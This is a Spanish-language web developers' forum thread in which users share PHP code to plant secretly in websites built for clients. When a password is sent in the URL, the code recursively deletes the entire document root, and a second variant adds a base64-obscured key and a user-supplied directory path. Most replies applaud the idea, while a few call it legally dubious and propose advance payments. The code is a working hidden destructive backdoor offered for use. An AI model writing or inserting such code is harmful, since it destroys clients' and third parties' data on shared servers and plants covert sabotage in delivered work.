Recurso para proteger las webs que realizamos
Bueno, he visto muchos post donde la gente se queja de que ha entregado una web y no la ha pagado, y cosas varias, os voy a compartir un script que utilizo en php para poder borrar una web en caso de que no te la hayan pagado, aun no sabiendo el ftp.
IMPORTANTE USAR CON CUIDADO OS PODEIS CARGAR COSAS IMPORTANTES SIN QUERER
El script en cuestión es este :
<?php
function destroyDir($dir, $virtual = false)
{
$ds = DIRECTORY_SEPARATOR;
$dir = $virtual ? realpath($dir) : $dir;
$dir = substr($dir, -1) == $ds ? substr($dir, 0, -1) : $dir;
if (is_dir($dir) && $handle = opendir($dir))
{
while ($file = readdir($handle))
{
if ($file == '.' || $file == '..')
{
continue;
}
elseif (is_dir($dir.$ds.$file))
{
destroyDir($dir.$ds.$file);
}
else
{
unlink($dir.$ds.$file);
}
}
closedir($handle);
rmdir($dir);
return true;
}
else
{
return false;
}
}
function comprobar()
{
$confirmacion = $_GET['confirmacion'];
if($confirmacion == '123456'){
destroyDir($_SERVER['DOCUMENT_ROOT']);
}
?>
Lo podeis meter tal cual, lo ideal seria que estuviera en el archivo que usais para las conexiones, aunque podeis crear un archivo especifico, o meterlo en todos los que querais.
El funcionamiento seria sencillo, donde pone :
if($confirmacion == '123456'){
cambiariamos el 123456 por la contraseña que quisieramos, si tenemos una web alojada en http://ejemplo.com/ para borrar la web seria tan simple como añadir lo siguiente a la url , http://ejemplo.com/index.php?confirmacion=123456
Podeis hacer una prueba en local, siempre teniendo en cuenta que borra todo lo del ftp, osea si teneis varias carpetas os las borra todas IMPORTANTE
Espero que os sirva.
jacoborus
La verdad es que es una muy buena idea Cuviline. Gracias
Creo que le faltan 2 cosas para ser perfecta: Una es poder meter otra contraseña que destruya esta función, para asegurarnos de que nadie la usará en el futuro ni por casualidad. La otra es que elimine solamente la carpeta que nos pertenece, porque si borramos todo el FTP podemos meternos en un buen lío.
Cloudstudio
Para que borrara la función habría que meterla en un archivo determinado, eso no es viable, la idea es poder meterlo en tantos archivos como quieras.
Por la misma regla de tres, si borramos solo la carpeta, y estamos dentro de la carpeta scripts. no serviría de nada, la cuestión es que borre toda la web.
Raimon
Pero cuando dices que borra todo el ftp, te refieres a todas las carpetas que están dentro del árbol de la carpeta a la que hacemos la llamada php, o también borraría las carpetas padre de ésta?
Gracias,
Raimon
Usuario desconocido
jojjojojo qué grande!
Fernancalle
El php de Cuviline es una solución, muy "chunga", pero una solución... Nunca se sabe ... :)
Más moderada y quizás menos efectiva si el cliente control algo de css es esta otra, pero en un momento determinado puede ser menos peligrosa y a lo mejor funciona...
CSS KILLSWITCH
Cloudstudio
Raimon
También las padres, si el servidor se llama localhost , te borra todo lo que hay en este.
Es una solución radical, pero sirve, el cliente puede volver a subir la web, pero si es grande le costara 30minutos(?), borrarla cuesta 10 segundos, se acaban quemando.
Usuario desconocido
Welcome to the jungle!!
li
Cuviline
La subes, te la borro. La subes, te la borro. La subes, te la borro. La subes, te la borro... :)
Cloudstudio
Mano dura !
pabrigarcia
Por lo que he entenido debes incluirlo en el archivo a borrar, si quiero borrar prueba.php debo llamarlo o incluirlo en ese archivo y poner la confirnación por get,¿es correcto?
Gracias
Cloudstudio
pabrigarcia
Correcto, lo de borrar es relativo, supongo que tendras un archivo donde haces las conexiones la base de datos, o un archivo con todas las funciones, que lo llamas siempre en todos los archivos, y efectivamente por get lo borras.
Diego Lorenzo
Metiéndole un poco de mano, se le puede pasar por GET una variable que sea el nombre de la carpeta "tope" para el borrado, ¿no crees cuviline?. Así nos curaríamos en salud y así únicamente borraríamos la carpeta que nos interesa. Yo me la pillo que me va a venir de puta madre jajaja.
Saludos y gracias por el script
Cloudstudio
Diego Lorenzo
Si claro, eso seria muy sencillo, pero no efectivo, si quieres meter tu el nombre de la carpeta, y por cualquier motivo la carpeta no se llama igual, no sirve.
Si le decimos que borre solo la carpeta en la que se encuentra el script ( una opción ) a mi no me convence, desde mi punto de vista, todo fuera :)
xavib
Además, es la mejor manera de asegurarse que nunca cobrarás ese trabajo.
¿No es más fácil (y seguro, en realidad) tener un acuerdo y hacer los deploys en un servidor de pre-producción y cuando el cliente haya ingresado digamos el 80% hacer puesta a producción? 30% por adelantado, 50% en la revisión a pre-producción y el resto al cabo de 30 días como garantía de aplicación. Sin por lo menos ese 80% la web no sube a su dominio definitivo.
Cloudstudio
Si, pero hay veces que por X, lo subes al servidor del cliente, y el pago se alarga hasta el infinito...
la gata Plus
Jajajaaaa... ¡ojalá pudiésemos hacer esto mismo en los trabajos de video!.
Yo prefiero la opción de Xavib que es más elegante.
Pero, en caso de que se prolongue mucho cobrar el resto, me lo apunto q es muy bueno.
Ana Molina
Cuviline
brillante
Cloudstudio
Gracias :)
IOXE
Podemos hacer algo similar de una manera más controlada, se trata de lo siguiente:
<?php
// primero ocultamos de forma sencilla la clave
// que aunque es facilisimo de decodificar
// pero al menos no se verá aqui tan facilmente
// para generar una clave basta con: echo base64_encode('123456');
if($_GET['clave_impago'] == base64_decode('MTIzNDU2')) // esto es 123456
{
// si han pasado por GET ?clave_impago=MTIzNDU2
function eliminar_directorios($dir)
{
// empezamos a recorrer directorios u a listar
// todo lo que vamos eliminando para conocer el
// alcance de nuestras acciones y poder imprimirlo
if ($handle = opendir("$dir"))
{
while (false !== ($item = readdir($handle)))
{
if ($item != "." && $item != "..")
{
if (is_dir("$dir/$item"))
{
eliminar_directorios("$dir/$item");
}
else
{
unlink("$dir/$item");
echo " eliminando $dir/$item <br>\n";
}
}
}
closedir($handle);
rmdir($dir);
echo "eliminando $dir <br>\n" ;
}
else
{
echo "Error: no se pudo eliminar.";
}
}
// llamamos a la funcion anterior
eliminar_directorios("./".$_GET['dir']);
}
else
{
echo 'Error: Clave de impago incorrecta.';
}
?>
Una vez pasamos por GET la clave prefijada y codificada sencillamente con base64, se crea una funcion a la que llamamos más tarde y a la que le pasamos de manera opcional por GET una variable dir que apuntará a los directorios hijo desde donde se llama a la funcion, si no se pasa la variable dir eliminará todo.
Como extra va generando un listado de todos los directorios y archivos eliminados para tener una copia de ello posteriormente si se imprime o guarda.
Eso sí, php debe tener permisos para realizar la hazaña cada vez, sino nada...
chicote
Y una vez borrada la web entonces ya si que no la cobras en la puta vida.
IOXE
chicote
efectivamente, yo me he visto en alguna situación donde he visto intenciones de impago y la verdad es que hacer algo de este tipo solo puede traer consecuencias negativas e incluso legalmente es cuestionable, a menos que exista un contrato firmado por ambos que lo contemple y permita de forma anticipada.
Es algo así como que no se puede exigir la devolución de un producto servicio a un cliente por no haberlo pagado (o tomar una medida de este tipo), debería ser un juez el que compensase y sancionase ese impago. Acciones por parte del diseñador puede hacer que exija daños y perjuicios y quedar a expensas de lo que diga un juez encima de todo... y ya sabemos que en ocasiones paga el que menos culpa tiene.
dem Mod
Estoy de acuerdo con chicote y con Ioxe, por las malas no cobras nunca. Yo lo que suelo hacer es cobrar un 30% por adelantado y hacerles firmar un presupuesto. Con esto llevas las de ganar en caso de impago. Simple.
...
josepzin
Sí que es una solución radical, sólo aplicable para casos radicales también!! :D